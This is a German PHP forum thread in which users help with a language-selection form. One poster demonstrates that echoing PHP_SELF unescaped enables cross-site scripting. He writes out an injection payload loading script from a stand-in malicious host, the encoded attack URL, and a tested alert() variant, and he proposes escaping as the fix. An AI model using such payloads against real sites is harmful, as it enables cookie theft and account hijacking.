Seite 2 von 2
Verfasst: 14.09.2008 22:13
von igorw
Code: Alles auswählen
<form method="GET" action ="<?php $PHP_SELF ?>
<select name="language">
<option value="de">Deutsch</option>
<option value="en">English</option>
</select>
<?php $PHP_SELF ?> sollte wenn schon <?php echo $PHP_SELF; ?> sein. Aber besser wäre: $_SERVER['PHP_SELF'].
Es gibt jedoch ein grösseres problem mit PHP_SELF. Und zwar kann es vom user geändert werden, was ein XSS (cross-site-scripting) zur folge hat. Aus diesem grund wäre es eine bessere idee
htmlspecialchars(basename($_SERVER['SCRIPT_NAME'])) zu verwenden, damit es auch wirklich sicher ist.
Verfasst: 14.09.2008 23:48
von tas2580
Naja ob man PHP_SELF ändern kann oder nicht ist doch egal da man eh den Quelltext der Webseite mit den richtigen Browser Plugins ändern kann und so das Formular beliebig bearbeiten kann, das würde ich jetzt nicht als all zu kritisch sehen. Wichtiger ist das man das was vom Formular am PHP Script ankommt prüft.
Gruß Tobi
Verfasst: 15.09.2008 16:48
von igorw
Doch, es ist ein problem. Zum beispiel so was:
Code: Alles auswählen
"><script type="text/javascript" src="http://boeseseite.de/script.js" /><a href="
Wenn man das urlencoded ans ende das adresse hängt:
Code: Alles auswählen
http://meineseite.de/etwas.php/%22%3E%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fboeseseite.de%2Fscript.js%22+%2F%3E%3Ca+href%3D%22
Dann bekommt man so etwas:
Code: Alles auswählen
<form method="GET" action =""><script type="text/javascript" src="http://boeseseite.de/script.js" /><a href="">
Und schon so wird das böse JS geladen, welches cookies ausliest, oder im schlimmeren fall mittels AJAX andere spassige sachen macht.
Ich hab es überigens auch getestet. Mit folgendem PHP file:
Code: Alles auswählen
<form method="GET" action ="<?php echo $_SERVER['PHP_SELF'] ?>">
<select name="language">
<option value="de">Deutsch</option>
<option value="en">English</option>
</select>
Und ich hab diese seite besucht:
Code: Alles auswählen
http://localhost/test.php/%22%3E%3Cscript%20type=%22text/javascript%22%3Ealert(%27test%27)%3C/script%3E
Das ergibt dann im quelltext:
Code: Alles auswählen
<form method="GET" action ="/test.php/"><script type="text/javascript">alert('test')</script>">
Natürlich kann man den quelltext als user selbst ändern, das ist nicht das problem. Das problem ist, dass ein angreifer ihn ändern kann, indem er dich hineinlegt die seite zu besuchen (nicht schwer zu machen, einen einzigen link, mit einem redirect versehen und voila). Dann kann er JS laden und zb. in phpBB admin rechte vergeben oder ähnliches.
Verfasst: 22.09.2008 18:17
von Pato
Hi alle zusammen...
also Smarty blick ich nicht... ^^ des läuft einfach nicht an... kein plan warum...
hab
hier ein schönes und einfaches template system gefunden...
Mit dem scheint es schön zu laufen...
Zurück zu mein ursprüngliches Problem... ich hab es mit dem
Code: Alles auswählen
$language = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
switch($language) {
case 'de': include('language/lang_de.php');
break;
case 'en': include('language/lang_en.php');
break;
default: include('language/lang_en.php');
}
laufen... er wähl bei mir immer englisch... weiß nicht warum... vielleicht ist es bei mir am computer falsch eingestellt...
wie kann ich separat die Sprache ändern, in dem ich z.b. auf die jeweilige Fahne des Landes klicke?!? er soll dann auch die Sprache auf den anderen Seiten weiterhin wie der Benutzer es gewählt hat behalten... so wern er nicht mit der automatische Gewählte Sprache zufrieden ist.
MfG Pato
Verfasst: 22.09.2008 18:36
von Boecki91
Verfasst: 22.09.2008 22:10
von Pato
Hi...
ja, ich hab deine Version ausprobiert... funktioniert aber irgendwie nicht..
Sollte aber eher so ausschauen oder?
Code: Alles auswählen
<form method="GET" action ="<?php $PHP_SELF ?>">
<select name="language">
<option value="de">Deutsch</option>
<option value="en">English</option>
</select> </form>
funktioniert aufjedenfall beides nicht... ^^
Soll das so sein, dass man in ein template das eh schon mit php geöffnet wird im html noch mal ein <?php ?> benutzt? Ist doch irgendwie doppelt gemoppelt oder...?
Verfasst: 23.09.2008 16:21
von Boecki91
Was genau hast du gemacht?
Was steht denn nun in $_SERVER["HTTP_ACCEPT_LANGUAGE"]; ?
Wenn ich etwas nicht mag dann sind es Leute die sagen "Habe ich gemacht, geht nicht."

Etwas mehr Infos bitte,
Code: Alles auswählen
[ ] sah man garnichts
[ ] sah man ein "en"
[ ] sah man ein "de"
[ ] sah man "echo $_SERVER["HTTP_ACCEPT_LANGUAGE"];"
[ ] man sah etwas anderes, nämlich __________________________
[ ] Ich habe es nicht getestet
Bitte ausfüllen

Verfasst: 23.09.2008 18:07
von Pato
naja,... ich hab dein code eingebaut und laufen lassen... ^^
Am... man konnte schon zwischen Deutsch und Englisch wählen, jedoch ist nix passiert, wenn man es gewählt hat... es war immer Englisch.
Verfasst: 23.09.2008 21:11
von Boecki91
Hallo das war ein Entwurf eine Basis, das was ich davor geschrieben habe ignorierst du anscheinend völlig.
Sorry aber irgendwas passt hier nicht, entweder kannst du keinerlei Grundlagen und das Projekt ist 5 Nummern zu groß für dich oder du erwartest das wir dir ein Rundumsorglos Paket basteln.
Edit:
Nimm folgende Datei
Code: Alles auswählen
<?php
die($_SERVER["HTTP_ACCEPT_LANGUAGE"] . base64_decode('CkhhbGxvIApkYXMgaXN0IGVpbmUgJ0F1c2bDvGhyLVByw7xmdW5nJyB1bSBzaWNoZXJ6dXN0ZWxsZW4gZGFzIGR1IGRhcyBTY3JpcHQgd2lya2xpY2ggZ2V0ZXN0ZXQgaGFzdCBiaXR0ZSBpY2ggZGljaCBmb2xnZW5kZW4gQ29kZSBiZWltIG7DpGNoc3RlbiBtYWwgenUgbmVubmVuOgoKICcxMjNxd2VydHon'));
?>